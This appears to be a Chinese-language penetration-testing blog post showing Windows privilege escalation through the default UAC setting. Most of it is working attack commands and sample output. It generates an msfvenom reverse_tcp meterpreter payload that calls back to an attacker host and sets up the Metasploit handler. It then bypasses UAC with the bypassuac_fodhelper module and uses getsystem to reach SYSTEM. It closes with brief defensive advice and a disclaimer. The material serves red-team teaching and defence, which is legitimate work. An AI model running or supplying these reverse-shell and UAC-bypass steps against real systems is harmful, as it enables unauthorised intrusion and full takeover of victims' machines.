文章总结: 本文介绍了Windows内网渗透中利用默认UAC配置进行提权的方法。文章指出管理员用户默认受UAC限制无法直接获取SYSTEM权限,通过Metasploit的bypassuac_fodhelper模块可绕过此限制。建议防守方减少本地管理员数量、开启始终通知并监控fodhelper.exe行为以防御此类攻击。 综合评分: 90 文章分类: 内网渗透,渗透测试,红队
内网渗透中的权限扩展(二):利用Windows默认UAC配置提权
原创
寰宇秘阁 寰宇秘阁
寰宇密阁
2026年2月6日 10:01 安徽
在一次成功的渗透测试中,获取系统访问权限只是起点。真正决定攻击是否“走得远”的,往往是接下来的步骤——权限扩展(Privilege Escalation)。
当攻击者获得管理员(Administrator)甚至 SYSTEM 权限后,就可以进一步:
- 读取本地密码或 Hash
- 提取令牌(Token)
- 横向扩展到其他主机
- 最终访问核心系统或敏感数据(如财务系统)
本文将围绕以下主题展开:
- 后渗透阶段的基本前提
- Meterpreter 会话下的权限状态
- 利用 Windows 默认 UAC 设置绕过限制
- 使用 Metasploit 模块将权限提升至 SYSTEM
一、前提条件:已经建立 Meterpreter 会话
在后渗透(Post-Exploitation)阶段,一切操作的前提都是: ✅ 已经成功入侵目标主机,并获得一个有效会话
在本文示例中,假设已经通过 Metasploit 建立了 Meterpreter 连接。
1. 启动 Metasploit 监听器
msfconsole -x "use exploit/multi/handler; \
set payload windows/x64/meterpreter/reverse_tcp; \
set LHOST 0.0.0.0; \
set LPORT 4444; \
run"
成功后,可看到类似输出:
Started reverse TCP handler on 0.0.0.0:4444
Meterpreter session 1 opened
meterpreter >
2. 生成对应的 payload(示例)
msfvenom -p windows/x64/meterpreter/reverse_tcp \
LHOST=10.10.0.94 LPORT=4444\
-a x64 --platform windows \
-f exe -o shell.exe
该可执行文件在目标系统中运行后,即可“回连”并建立 Meterpreter 会话。
二、为什么“管理员”不等于“System”?
在 Windows 系统中,即便用户属于 Administrators 组,也不一定真正拥有完整的系统权限。
原因在于一个关键机制:
User Account Control(UAC,用户账户控制)
三、UAC 的默认行为机制(关键背景)
在 Windows 7 / 10 / 11 中:
- UAC 默认开启
- 管理员用户登录后,实际使用的是受限令牌
- 当程序需要高权限时,会弹出 UAC 提示框
- 用户点击 Yes 后,才会获得完全管理员权限
默认配置为:
Notify me only when apps try to make changes to my computer
这正是攻击者经常利用的“缝隙”。
四、Meterpreter 下的初始权限状态检查
1. 查看当前身份
meterpreter > getuid
Server username: HSILAB\gazelle01
2. 验证是否属于管理员组
进入系统 shell 后检查:
meterpreter > shell
E:\> net localgroup administrators
输出示例:
Members:
Administrators
gazelle01
user
✅ 当前用户是本地管理员 ❌ 但仍然受 UAC 限制
五、直接提权失败:UAC 的阻拦
尝试直接获取 SYSTEM 权限:
meterpreter > getsystem
返回失败结果:
Operation failed: The environment is incorrect.
Named Pipe Impersonation
Token Duplication
...
这说明:
不是漏洞问题,而是 UAC 在发挥作用
六、绕过 UAC 默认设置(BypassUAC)
在默认 UAC 设置下,Metasploit 提供了多种 本地 UAC 绕过模块。 这类技术在 MITRE ATT&CK 中被归类为:
T1548.002 – Abuse Elevation Control Mechanism: Bypass User Account Control
1. 将当前 Meterpreter 会话放入后台
meterpreter > background
2. 使用 UAC 绕过模块(示例:fodhelper)
use exploit/windows/local/bypassuac_fodhelper
set session 3
run
模块执行过程中会自动判断:
- UAC 是否开启
- UAC 是否为默认级别
- 当前用户是否属于管理员组
示例输出:
UAC is Enabled, checking level...
Part of Administrators group! Continuing...
UAC is set to Default
BypassUAC can bypass this setting, continuing...
3. 成功建立新会话并提升权限
Meterpreter session 4 opened
meterpreter > getsystem
...got system via technique 1 (Named Pipe Impersonation)
✅ 至此,权限成功提升至 NT AUTHORITY\SYSTEM
七、这种技术为什么如此常见?
原因很现实:
- UAC 默认设置为了“用户体验”而妥协安全
- 企业终端中管理员用户极为常见
- 很多组织不会进一步强化 UAC 策略
因此,这种技术被大量真实威胁行为者使用,并频繁出现在:
- 红队评估
- 勒索软件攻击
- APT 初期提权阶段
八、防御角度的几点思考
从防守视角来看,以下措施尤为关键:
- ✅ 减少本地管理员用户数量
- ✅ 将 UAC 设置为“始终通知”
- ✅ 启用 Credential Guard / ASR 规则
- ✅ 监控异常的
fodhelper.exe、注册表行为 - ✅ 使用 EDR 检测 UAC bypass 行为链
结语
在 Windows 攻防场景中,权限扩展往往不是“0day”的舞台,而是配置与策略的博弈。
默认的 UAC 设置,本是为了方便管理员操作,却在对抗场景中成为了被频繁利用的突破口。 理解这些技术,不仅能帮助渗透测试人员完成评估,也能让防守方清楚:
真正需要加固的,往往是“默认值”。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:寰宇密阁 寰宇秘阁 寰宇秘阁《内网渗透中的权限扩展(二):利用Windows默认UAC配置提权》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论